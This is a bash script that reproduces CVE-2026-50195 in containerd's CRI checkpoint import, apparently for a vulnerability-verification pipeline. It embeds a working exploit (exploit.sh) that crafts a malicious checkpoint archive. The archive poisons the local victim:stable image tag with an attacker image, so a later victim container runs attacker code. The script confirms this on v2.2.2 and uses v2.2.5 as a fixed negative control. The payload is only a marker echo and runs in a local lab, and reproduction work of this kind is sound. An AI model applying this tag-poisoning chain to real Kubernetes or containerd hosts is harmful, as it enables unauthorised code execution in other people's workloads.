#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART"
cd "$ROOT"

LOG="$LOGS/reproduction_steps.log"
: > "$LOG"
say(){ echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$LOG"; }

write_manifest(){
  local reached="$1" service="$2" health="$3" notes="$4"; shift 4
  python3 - "$REPRO_DIR/runtime_manifest.json" "$reached" "$service" "$health" "$notes" "$@" <<'PY'
import json, sys, os
path, reached, service, health, notes = sys.argv[1:6]
arts = [a for a in sys.argv[6:] if a]
root = os.path.dirname(os.path.dirname(path))
def rel(p):
    try:
        return os.path.relpath(p, root) if os.path.isabs(p) else p
    except Exception:
        return p
m = {
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "CRI gRPC runtime endpoint /run/containerd/containerd.sock: CreateContainer imports an attacker-supplied checkpoint archive, then StartContainer runs a later victim container from the poisoned local image tag",
  "service_started": service == "true",
  "healthcheck_passed": health == "true",
  "target_path_reached": reached == "true",
  "runtime_stack": [
    "docker privileged runner",
    "containerd v2.2.2 vulnerable CRI plugin",
    "containerd v2.2.5 fixed CRI plugin negative control",
    "runc",
    "CNI ptp",
    "local registry:2"
  ],
  "proof_artifacts": [rel(a) for a in arts],
  "notes": notes
}
with open(path, "w") as f:
    json.dump(m, f, indent=2)
    f.write("\n")
PY
}

fail(){
  local msg="$1" code="${2:-1}"
  say "ERROR: $msg"
  write_manifest false false false "$msg" "$LOG"
  exit "$code"
}

# Always leave a syntactically valid runtime manifest, even if setup fails early.
write_manifest false false false "reproduction started but has not reached the CRI checkpoint import path yet" "$LOG"

if ! command -v docker >/dev/null 2>&1; then
  fail "docker is not available; the reproduction needs a privileged Docker runner for the real containerd/CRI service" 2
fi
if ! docker ps >/dev/null 2>&1; then
  fail "docker daemon is not reachable by this user" 2
fi

# Resolve the durable project cache path when available. This script does not need
# to rebuild containerd from source, but it records the vulnerable/fixed source
# hunk when the cache is present so the runtime evidence is tied to the real patch.
CACHE_CTX="$ROOT/project_cache_context.json"
REPO="$ART/containerd-src"
if [ -f "$CACHE_CTX" ] && command -v jq >/dev/null 2>&1 && [ "$(jq -r '.prepared // false' "$CACHE_CTX" 2>/dev/null || echo false)" = "true" ]; then
  cached_repo="$(jq -r '.project_cache_dir' "$CACHE_CTX")/repo"
  [ -d "$cached_repo/.git" ] && REPO="$cached_repo"
fi
mkdir -p "$LOGS/source"
if [ -d "$REPO/.git" ]; then
  {
    echo "containerd repository: $REPO"
    git -C "$REPO" rev-parse v2.2.2 v2.2.5 || true
    echo "--- vulnerable v2.2.2 tagImage block ---"
    git -C "$REPO" show v2.2.2:internal/cri/server/container_checkpoint_linux.go | sed -n '310,352p' || true
    echo "--- fixed v2.2.5 corresponding block (tag creation removed) ---"
    git -C "$REPO" show v2.2.5:internal/cri/server/container_checkpoint_linux.go | sed -n '385,410p' || true
  } > "$LOGS/source/patch_check.txt" 2>&1 || true
  say "recorded source patch check at logs/source/patch_check.txt"
fi

cat > "$REPRO_DIR/runner_Dockerfile" <<'EOF_DOCKER'
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
    ca-certificates curl wget jq iptables iproute2 procps socat tar gzip findutils \
    libseccomp2 criu && rm -rf /var/lib/apt/lists/*
RUN mkdir -p /opt/cni/bin && \
    curl -sL "https://github.com/containernetworking/plugins/releases/download/v1.5.1/cni-plugins-linux-amd64-v1.5.1.tgz" | tar xz -C /opt/cni/bin
RUN mkdir -p /opt/containerd/bin /opt/bin /etc/containerd/certs.d /var/lib/containerd /run/containerd /etc/cni/net.d
COPY bin/containerd /opt/containerd/bin/containerd
COPY bin/containerd-shim-runc-v2 /opt/containerd/bin/containerd-shim-runc-v2
COPY bin/ctr /opt/containerd/bin/ctr
COPY runc.amd64 /opt/bin/runc
COPY crictl/crictl /opt/bin/crictl
RUN chmod +x /opt/containerd/bin/* /opt/bin/runc /opt/bin/crictl && \
    ln -sf /opt/bin/runc /usr/local/bin/runc && \
    ln -sf /opt/containerd/bin/containerd /usr/local/bin/containerd && \
    ln -sf /opt/containerd/bin/containerd-shim-runc-v2 /usr/local/bin/containerd-shim-runc-v2 && \
    ln -sf /opt/containerd/bin/ctr /usr/local/bin/ctr && \
    ln -sf /opt/bin/crictl /usr/local/bin/crictl
COPY entrypoint.sh /entrypoint.sh
COPY exploit.sh /exploit.sh
RUN chmod +x /entrypoint.sh /exploit.sh
ENTRYPOINT ["/entrypoint.sh"]
EOF_DOCKER

cat > "$REPRO_DIR/runner_entrypoint.sh" <<'EOF_ENTRY'
#!/bin/bash
set -euo pipefail
REGISTRY="${REGISTRY:-pruva-registry:5000}"
CTDR_ROOT="/var/lib/containerd"
SOCK="/run/containerd/containerd.sock"
CERTS_DIR="/etc/containerd/certs.d"

mkdir -p /etc/containerd "$CERTS_DIR" /run/containerd "$CTDR_ROOT" /etc/cni/net.d /etc /tmp/podlogs

containerd config default > /etc/containerd/config.toml
sed -i "s|^      sandbox = .*|      sandbox = \"${REGISTRY}/pause:3.10\"|" /etc/containerd/config.toml
sed -i "s|^      config_path = .*|      config_path = \"${CERTS_DIR}\"|" /etc/containerd/config.toml
sed -i "s|^    snapshotter = .*|    snapshotter = \"native\"|" /etc/containerd/config.toml

rm -rf "$CERTS_DIR"/*; mkdir -p "$CERTS_DIR/${REGISTRY}"
cat > "$CERTS_DIR/${REGISTRY}/hosts.toml" <<TOML
server = "http://${REGISTRY}"
[host."http://${REGISTRY}"]
  capabilities = ["pull", "resolve", "push"]
TOML

cat > /etc/cni/net.d/10-pruva.conflist <<JSON
{"cniVersion":"1.0.0","name":"pruva-net","plugins":[
 {"type":"ptp","ipMasq":true,"ipam":{"type":"host-local","ranges":[[{"subnet":"10.244.0.0/16"}]],"dataDir":"/run/cni-ipam"}},
 {"type":"portmap","capabilities":{"portMappings":true}}]}
JSON

cat > /etc/crictl.yaml <<YAML
runtime-endpoint: unix://${SOCK}
image-endpoint: unix://${SOCK}
timeout: 60
debug: false
YAML

for c in cpuset cpu io memory hugetlb pids rdma; do
  echo "+$c" > /sys/fs/cgroup/cgroup.subtree_control 2>/dev/null || true
done

# Inside this runner, localhost:5000 is forwarded to the sibling Docker registry
# so checkpoint metadata can use the natural localhost:5000 references.
pkill -x socat 2>/dev/null || true
nohup setsid /usr/bin/socat TCP-LISTEN:5000,fork,reuseaddr TCP:"${REGISTRY}" >/tmp/socat.log 2>&1 & disown

: > /tmp/containerd.log
containerd --config /etc/containerd/config.toml --root "$CTDR_ROOT" --address "$SOCK" > /tmp/containerd.log 2>&1 &
echo $! > /tmp/containerd.pid
for i in $(seq 1 80); do [ -S "$SOCK" ] && break; sleep 0.5; done
for i in $(seq 1 80); do
  if ctr --address "$SOCK" plugins ls >/tmp/plugins.log 2>&1; then break; fi
  sleep 0.5
done
ctr --address "$SOCK" -n k8s.io images pull --plain-http "${REGISTRY}/pause:3.10" >/tmp/pause-pull.log 2>&1 || true

echo "ENTRYPOINT_READY"
tail -f /tmp/containerd.log 2>/dev/null || sleep infinity
EOF_ENTRY

cat > "$REPRO_DIR/exploit.sh" <<'EOF_EXPLOIT'
#!/bin/bash
# Runs INSIDE the containerd runner. It drives the real CRI API twice:
# 1. CreateContainer imports an attacker-controlled checkpoint archive whose
#    rootfsImageRef points to attacker:latest while rootfsImageName is victim:stable.
# 2. A later normal victim container is created and StartContainer is called for
#    victim:stable. On vulnerable v2.2.2, the checkpoint import poisoned that tag
#    and the victim runs the attacker's image. On fixed v2.2.5, tag poisoning is
#    absent and the victim container cannot run from the unpulled tag.
set -uo pipefail
SOCK="/run/containerd/containerd.sock"
REG="localhost:5000"
ATTACKER_IMG="${REG}/attacker:latest"
VICTIM_TAG="${REG}/victim:stable"
EXPECTATION="${EXPECTATION:-vulnerable}"
RESULT_FILE="/tmp/exploit_result.txt"
EVIDENCE="/tmp/exploit_evidence.txt"
: > "$EVIDENCE"
log(){ echo "$@" | tee -a "$EVIDENCE"; }

log "### CVE-2026-50195 CRI checkpoint import -> local tag poisoning -> code execution ###"
log "EXPECTATION=$EXPECTATION"
log "containerd: $(containerd --version 2>/dev/null || true)"
log "attacker rootfsImageRef=$ATTACKER_IMG"
log "poison target rootfsImageName=$VICTIM_TAG"

mkdir -p /checkpoints /tmp/cpbuild /cfg /tmp/podlogs
cd /tmp/cpbuild
rm -f /checkpoints/malicious.tar
cat > config.dump <<JSON
{"id":"checkpoint-victim","name":"checkpoint-victim","rootfsImage":"${VICTIM_TAG}","rootfsImageRef":"${ATTACKER_IMG}","rootfsImageName":"${VICTIM_TAG}","runtime":"io.containerd.runc.v2","createdTime":"2026-01-01T00:00:00Z","checkpointedTime":"2026-01-01T00:00:00Z"}
JSON
cat > spec.dump <<JSON
{"annotations":{"io.kubernetes.cri.sandbox-id":"placeholder","io.kubernetes.cri.container-name":"checkpoint-victim"}}
JSON
# status.dump annotations MUST be a non-nil map; CRImportCheckpoint writes into it.
cat > status.dump <<JSON
{"id":"checkpoint-victim","metadata":{"name":"checkpoint-victim"},"image":{"image":"${VICTIM_TAG}","user_specified_image":"${VICTIM_TAG}"},"image_ref":"${ATTACKER_IMG}","labels":{},"annotations":{}}
JSON
tar -cf /checkpoints/malicious.tar config.dump spec.dump status.dump
log "checkpoint config.dump: $(tar -xOf /checkpoints/malicious.tar config.dump)"

# Ensure the proof starts from an unpoisoned cache: neither the attacker image nor
# the victim tag is present in containerd's k8s.io namespace.
ctr --address "$SOCK" -n k8s.io images rm "$ATTACKER_IMG" >/tmp/rm-attacker.log 2>&1 || true
ctr --address "$SOCK" -n k8s.io images rm "$VICTIM_TAG" >/tmp/rm-victim.log 2>&1 || true
if ctr --address "$SOCK" -n k8s.io images list | grep -E "attacker|victim" >/tmp/pre-existing.log 2>&1; then
  log "PRE: unexpected attacker/victim images existed after cleanup"
  cat /tmp/pre-existing.log | tee -a "$EVIDENCE"
else
  log "PRE: attacker image and victim tag absent from local containerd image store (good)"
fi

cat > /cfg/pod.yaml <<YAML
metadata:
  name: pruva-pod
  namespace: default
  uid: pruvapod
  attempt: 1
hostname: pruva-pod
log_directory: /tmp/podlogs
linux:
  security_context:
    namespace_options:
      network: 0
      pid: 0
YAML
POD_ID=$(crictl runp /cfg/pod.yaml 2>&1 | tee -a "$EVIDENCE" | tail -1)
echo "$POD_ID" > /tmp/pod.id
log "POD_ID=$POD_ID state=$(crictl inspectp "$POD_ID" 2>/dev/null | grep -m1 '\"state\"' || echo unknown)"

cat > /cfg/checkpoint-container.yaml <<YAML
metadata:
  name: checkpoint-importer
  attempt: 1
image:
  image: /checkpoints/malicious.tar
log_path: checkpoint-importer.log
linux:
  security_context:
    namespace_options:
      network: 0
      pid: 0
YAML
log "### Step 1: CRI CreateContainer(image=/checkpoints/malicious.tar) imports malicious checkpoint"
CREATE_OUT=$(crictl create "$POD_ID" /cfg/checkpoint-container.yaml /cfg/pod.yaml 2>&1 | tee -a "$EVIDENCE")
CKPT_CID=$(echo "$CREATE_OUT" | tail -1)
log "checkpoint CreateContainer output: $CREATE_OUT"
log "checkpoint container id: $CKPT_CID"

ATTACKER_PRESENT=$(ctr --address "$SOCK" -n k8s.io images list 2>/dev/null | grep -c "$ATTACKER_IMG" || true)
VICTIM_PRESENT=$(ctr --address "$SOCK" -n k8s.io images list 2>/dev/null | grep -c "$VICTIM_TAG" || true)
log "POST-CHECKPOINT: attacker image entries = $ATTACKER_PRESENT"
log "POST-CHECKPOINT: poisoned victim tag entries = $VICTIM_PRESENT"
ctr --address "$SOCK" -n k8s.io images list 2>/dev/null | grep -E "REPOSITORY|attacker|victim" | tee -a "$EVIDENCE" || true

log "### Step 2: normal victim CreateContainer + StartContainer for $VICTIM_TAG ###"
cat > /cfg/victim-container.yaml <<YAML
metadata:
  name: victim-from-poisoned-tag
  attempt: 1
image:
  image: ${VICTIM_TAG}
log_path: victim-from-poisoned-tag.log
linux:
  security_context:
    namespace_options:
      network: 0
      pid: 0
YAML
VICTIM_CREATE_OUT=$(crictl create "$POD_ID" /cfg/victim-container.yaml /cfg/pod.yaml 2>&1)
VICTIM_CREATE_RC=$?
printf '%s\n' "$VICTIM_CREATE_OUT" | tee -a "$EVIDENCE"
VICTIM_CID=""
CODE_EXEC_OBSERVED=0
if [ "$VICTIM_CREATE_RC" -eq 0 ]; then
  VICTIM_CID=$(printf '%s\n' "$VICTIM_CREATE_OUT" | tail -1)
  log "victim container id: $VICTIM_CID"
  START_OUT=$(crictl start "$VICTIM_CID" 2>&1)
  START_RC=$?
  printf '%s\n' "$START_OUT" | tee -a "$EVIDENCE"
  log "StartContainer rc=$START_RC"
  for i in $(seq 1 15); do
    LOG_OUT=$(crictl logs "$VICTIM_CID" 2>&1 || true)
    if printf '%s\n' "$LOG_OUT" | grep -q "PRUVA_CODE_EXEC_FROM_ATTACKER_IMAGE"; then
      CODE_EXEC_OBSERVED=1
      break
    fi
    sleep 1
  done
  log "### victim container logs ###"
  crictl logs "$VICTIM_CID" 2>&1 | tee -a "$EVIDENCE" || true
  log "### victim container status ###"
  crictl inspect "$VICTIM_CID" 2>&1 | grep -E '"state"|"image"|"imageRef"|"reason"|"exitCode"' | head -40 | tee -a "$EVIDENCE" || true
else
  log "victim CreateContainer failed as expected when the fixed runtime does not create the poisoned local tag"
fi

log "### CRI/containerd summary ###"
crictl ps -a 2>&1 | tee -a "$EVIDENCE" || true
grep -iE "ImageCreate event.*(attacker|victim)|Prepared .* for restore|failed to prepare|StartContainer|CreateContainer" /tmp/containerd.log | tail -40 | tee -a "$EVIDENCE" || true

if [ "$EXPECTATION" = "vulnerable" ]; then
  if [ "$ATTACKER_PRESENT" -gt 0 ] && [ "$VICTIM_PRESENT" -gt 0 ] && [ "$CODE_EXEC_OBSERVED" -eq 1 ]; then
    log "VERDICT: VULN_CODE_EXEC_CONFIRMED - malicious checkpoint poisoned $VICTIM_TAG with $ATTACKER_IMG and StartContainer executed attacker-controlled image code"
    echo "VULN_CODE_EXEC_CONFIRMED" > "$RESULT_FILE"
    exit 0
  fi
  log "VERDICT: VULN_NOT_CONFIRMED - expected tag poisoning plus victim StartContainer code execution was not observed"
  echo "VULN_NOT_CONFIRMED" > "$RESULT_FILE"
  exit 1
fi

if [ "$EXPECTATION" = "fixed" ]; then
  if [ "$VICTIM_PRESENT" -eq 0 ] && [ "$CODE_EXEC_OBSERVED" -eq 0 ]; then
    log "VERDICT: FIXED_BLOCKED - fixed containerd did not create the victim tag and no attacker code executed from $VICTIM_TAG"
    echo "FIXED_BLOCKED" > "$RESULT_FILE"
    exit 0
  fi
  log "VERDICT: FIXED_STILL_VULNERABLE - victim tag or attacker code execution was observed on the fixed runtime"
  echo "FIXED_STILL_VULNERABLE" > "$RESULT_FILE"
  exit 1
fi

log "VERDICT: UNKNOWN_EXPECTATION"
echo "UNKNOWN_EXPECTATION" > "$RESULT_FILE"
exit 1
EOF_EXPLOIT

chmod +x "$REPRO_DIR/runner_entrypoint.sh" "$REPRO_DIR/exploit.sh"
say "wrote runner Dockerfile/entrypoint/exploit helpers under bundle/repro"

NET="pruva-net"
REG_NAME="pruva-registry"
REG="pruva-registry:5000"
HOST_REG="localhost:5000"

say "Phase 1: start local OCI registry on Docker network"
docker network create "$NET" >/dev/null 2>&1 || true
docker rm -f "$REG_NAME" >/dev/null 2>&1 || true
docker run -d --name "$REG_NAME" -p 5000:5000 --restart=no registry:2 >/dev/null
docker network connect "$NET" "$REG_NAME" >/dev/null 2>&1 || true
for i in $(seq 1 40); do
  if docker run --rm --network "$NET" alpine:3.20 sh -c 'wget -qO- http://pruva-registry:5000/v2/ >/dev/null' >>"$LOG" 2>&1; then break; fi
  sleep 1
done
docker run --rm --network "$NET" alpine:3.20 sh -c 'wget -qO- http://pruva-registry:5000/v2/ >/dev/null' >>"$LOG" 2>&1 || fail "registry did not become reachable from Docker network as pruva-registry:5000" 2
say "registry is reachable from Docker network; host Docker pushes will use localhost:5000 (Docker daemon path)"

say "Phase 2: build and push pause, legitimate victim, and attacker images"
docker pull registry.k8s.io/pause:3.10 >>"$LOG" 2>&1 || true
docker tag registry.k8s.io/pause:3.10 "$HOST_REG/pause:3.10"
docker push "$HOST_REG/pause:3.10" >>"$LOG" 2>&1
mkdir -p "$ART/images/attacker" "$ART/images/victim"
cat > "$ART/images/attacker/Dockerfile" <<'EOF_ATTACKER'
FROM alpine:3.20
RUN mkdir -p /attacker && echo "CVE-2026-50195 attacker rootfs marker" > /attacker/marker.txt
CMD ["/bin/sh", "-c", "echo PRUVA_CODE_EXEC_FROM_ATTACKER_IMAGE uid=$(id -u) gid=$(id -g) image=attacker; sleep 1"]
EOF_ATTACKER
cat > "$ART/images/victim/Dockerfile" <<'EOF_VICTIM'
FROM alpine:3.20
CMD ["/bin/sh", "-c", "echo LEGITIMATE_VICTIM_IMAGE_SHOULD_NOT_RUN; sleep 1"]
EOF_VICTIM
docker build -t "$HOST_REG/attacker:latest" "$ART/images/attacker" >>"$LOG" 2>&1
docker push "$HOST_REG/attacker:latest" >>"$LOG" 2>&1
docker build -t "$HOST_REG/victim:stable" "$ART/images/victim" >>"$LOG" 2>&1
docker push "$HOST_REG/victim:stable" >>"$LOG" 2>&1
say "test images pushed: attacker:latest and victim:stable (victim is not pre-pulled into containerd during the proof)"

fetch_containerd(){
  local version="$1"
  local outdir="$ART/containerd-$version"
  mkdir -p "$outdir"
  if [ ! -x "$outdir/bin/containerd" ]; then
    say "fetching containerd $version official Linux amd64 release"
    local tarball="$ART/containerd-$version-linux-amd64.tar.gz"
    curl -fL -o "$tarball" "https://github.com/containerd/containerd/releases/download/v$version/containerd-$version-linux-amd64.tar.gz" >>"$LOG" 2>&1
    rm -rf "$outdir/extract"; mkdir -p "$outdir/extract"
    tar xzf "$tarball" -C "$outdir/extract"
    cp -a "$outdir/extract/bin" "$outdir/"
  fi
  [ -x "$outdir/bin/containerd" ] || fail "containerd $version binary missing after fetch" 2
}
fetch_crictl_runc(){
  mkdir -p "$ART/crictl"
  if [ ! -x "$ART/runc" ]; then
    say "fetching runc v1.4.0"
    curl -fL -o "$ART/runc" "https://github.com/opencontainers/runc/releases/download/v1.4.0/runc.amd64" >>"$LOG" 2>&1
    chmod +x "$ART/runc"
  fi
  if [ ! -x "$ART/crictl/crictl" ]; then
    say "fetching crictl v1.32.0"
    curl -fL -o "$ART/crictl.tgz" "https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.32.0/crictl-v1.32.0-linux-amd64.tar.gz" >>"$LOG" 2>&1
    tar xzf "$ART/crictl.tgz" -C "$ART/crictl"
  fi
}

say "Phase 3: prepare official vulnerable and fixed containerd binaries"
fetch_containerd "2.2.2"
fetch_containerd "2.2.5"
fetch_crictl_runc

build_runner(){
  local version="$1"
  local image="$2"
  local builddir="$ART/runner-$version"
  rm -rf "$builddir"; mkdir -p "$builddir/bin" "$builddir/crictl"
  cp "$ART/containerd-$version/bin/containerd" "$ART/containerd-$version/bin/containerd-shim-runc-v2" "$ART/containerd-$version/bin/ctr" "$builddir/bin/"
  cp "$ART/runc" "$builddir/runc.amd64"
  cp "$ART/crictl/crictl" "$builddir/crictl/"
  cp "$REPRO_DIR/runner_Dockerfile" "$builddir/Dockerfile"
  cp "$REPRO_DIR/runner_entrypoint.sh" "$builddir/entrypoint.sh"
  cp "$REPRO_DIR/exploit.sh" "$builddir/exploit.sh"
  chmod +x "$builddir/entrypoint.sh" "$builddir/exploit.sh"
  say "building runner image $image for containerd $version"
  docker build -t "$image" "$builddir" >>"$LOG" 2>&1
}

say "Phase 4: build privileged runner images for vulnerable and fixed containerd"
build_runner "2.2.2" "pruva-ctrd-runner:v222-codeexec"
build_runner "2.2.5" "pruva-ctrd-runner:v225-fixed"

run_case(){
  local label="$1"
  local image="$2"
  local expectation="$3"
  local cname="pruva-ctrd-$label"
  say "Phase 5/$label: start $image ($expectation) and drive CRI exploit"
  docker rm -f "$cname" >/dev/null 2>&1 || true
  docker run -d --name "$cname" --privileged --cgroupns=host --network "$NET" -e "REGISTRY=$REG" "$image" >/dev/null
  local ready="no"
  for i in $(seq 1 100); do
    if docker logs "$cname" 2>&1 | grep -q "ENTRYPOINT_READY"; then ready="yes"; break; fi
    sleep 1
  done
  if [ "$ready" != "yes" ]; then
    docker logs "$cname" > "$LOGS/${label}_startup_failure.log" 2>&1 || true
    fail "$label containerd did not become ready; see logs/${label}_startup_failure.log" 2
  fi
  docker exec "$cname" containerd --version > "$LOGS/${label}_containerd_version.txt" 2>&1 || true
  set +e
  docker exec -e "EXPECTATION=$expectation" "$cname" bash /exploit.sh > "$LOGS/${label}_exploit_stdout.log" 2>&1
  local exec_rc=$?
  set -e
  docker exec "$cname" cat /tmp/exploit_result.txt > "$LOGS/${label}_result.txt" 2>/dev/null || echo "NO_RESULT" > "$LOGS/${label}_result.txt"
  docker exec "$cname" cat /tmp/exploit_evidence.txt > "$LOGS/${label}_exploit_evidence.txt" 2>/dev/null || true
  docker exec "$cname" cat /tmp/containerd.log > "$LOGS/${label}_containerd.log" 2>/dev/null || true
  docker exec "$cname" ctr --address /run/containerd/containerd.sock -n k8s.io images list > "$LOGS/${label}_ctr_images.txt" 2>/dev/null || true
  docker exec "$cname" crictl ps -a > "$LOGS/${label}_crictl_ps.txt" 2>/dev/null || true
  docker exec "$cname" sh -c 'find /tmp/podlogs -type f -maxdepth 3 -print -exec cat {} \;' > "$LOGS/${label}_podlogs.txt" 2>/dev/null || true
  say "$label result: $(cat "$LOGS/${label}_result.txt") (docker exec rc=$exec_rc)"
}

run_case "vulnerable_v222" "pruva-ctrd-runner:v222-codeexec" "vulnerable"
run_case "fixed_v225" "pruva-ctrd-runner:v225-fixed" "fixed"

VULN_RESULT="$(cat "$LOGS/vulnerable_v222_result.txt" 2>/dev/null || echo NO_RESULT)"
FIXED_RESULT="$(cat "$LOGS/fixed_v225_result.txt" 2>/dev/null || echo NO_RESULT)"
{
  echo "Vulnerable result: $VULN_RESULT"
  grep -E "VERDICT:|PRUVA_CODE_EXEC_FROM_ATTACKER_IMAGE|POST-CHECKPOINT" "$LOGS/vulnerable_v222_exploit_evidence.txt" || true
  echo
  echo "Fixed result: $FIXED_RESULT"
  grep -E "VERDICT:|PRUVA_CODE_EXEC_FROM_ATTACKER_IMAGE|POST-CHECKPOINT|failed as expected" "$LOGS/fixed_v225_exploit_evidence.txt" || true
} > "$LOGS/exploit_evidence.txt"
say "summary evidence written to logs/exploit_evidence.txt"
cat "$LOGS/exploit_evidence.txt" | tee -a "$LOG"

if [ "$VULN_RESULT" = "VULN_CODE_EXEC_CONFIRMED" ] && [ "$FIXED_RESULT" = "FIXED_BLOCKED" ]; then
  write_manifest true true true "Confirmed: vulnerable containerd v2.2.2 CRI checkpoint import poisoned a victim image tag and a subsequent CRI StartContainer executed attacker-controlled image code; fixed containerd v2.2.5 did not create the poisoned tag and no attacker code executed." \
    "$LOGS/exploit_evidence.txt" \
    "$LOGS/vulnerable_v222_exploit_evidence.txt" \
    "$LOGS/vulnerable_v222_exploit_stdout.log" \
    "$LOGS/vulnerable_v222_containerd.log" \
    "$LOGS/vulnerable_v222_ctr_images.txt" \
    "$LOGS/vulnerable_v222_crictl_ps.txt" \
    "$LOGS/vulnerable_v222_podlogs.txt" \
    "$LOGS/fixed_v225_exploit_evidence.txt" \
    "$LOGS/fixed_v225_exploit_stdout.log" \
    "$LOGS/fixed_v225_containerd.log" \
    "$LOGS/fixed_v225_ctr_images.txt" \
    "$LOGS/fixed_v225_crictl_ps.txt" \
    "$LOGS/source/patch_check.txt" \
    "$LOG"
  say "CONFIRMED: CVE-2026-50195 real CRI checkpoint import code-execution chain reproduced with fixed negative control."
  exit 0
fi

write_manifest false true true "Not confirmed: vulnerable result=$VULN_RESULT fixed result=$FIXED_RESULT" \
  "$LOGS/exploit_evidence.txt" "$LOGS/vulnerable_v222_exploit_evidence.txt" "$LOGS/fixed_v225_exploit_evidence.txt" "$LOG"
say "NOT CONFIRMED: vulnerable result=$VULN_RESULT fixed result=$FIXED_RESULT"
exit 1
